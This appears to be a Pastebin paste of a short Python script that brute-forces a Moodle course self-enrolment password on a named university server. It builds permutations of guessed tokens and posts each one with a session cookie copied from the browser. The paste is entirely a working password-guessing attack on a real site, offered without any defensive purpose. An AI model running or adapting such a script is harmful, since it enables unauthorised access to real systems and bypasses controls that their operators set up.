Advertisement
Guest User

Untitled

a guest
Jun 21st, 2018
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.91 KB | None | 0 0
  1. import itertools
  2. import requests
  3.  
  4. passwords = []
  5. for x in [2, 3, 4, 5]:
  6.     passwords.extend(list(itertools.permutations(['MF', 'MS', '2018', 'PS', '2'], x)))
  7. for x in [2, 3, 4, 5]:
  8.     passwords.extend(list(itertools.permutations(['MF', 'MS', '2017', 'PS', '2'], x)))
  9.  
  10. for password in passwords:
  11.     cookies = {
  12.         'MoodleSession': '<cookie z przeglądarki>',
  13.     }
  14.     data = [
  15.         ('id', 106),
  16.         ('instance', 1206),
  17.         ('sesskey', '<klucz sesji z requestu>'),
  18.         ('_qf__1206_enrol_self_enrol_form', 1),
  19.         ('mform_isexpanded_id_selfheader', 1),
  20.         ('enrolpassword', ''.join(password)),
  21.         ('submitbutton', 'Zapisz mnie'),
  22.     ]
  23.     response = requests.post('https://cez2.wi.pb.edu.pl/moodle/enrol/index.php', data=data, cookies=cookies)
  24.     assert response.status_code == 200
  25.     assert str(response.content).find('Szymon Zdanowski')
  26.     print(''.join(password))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement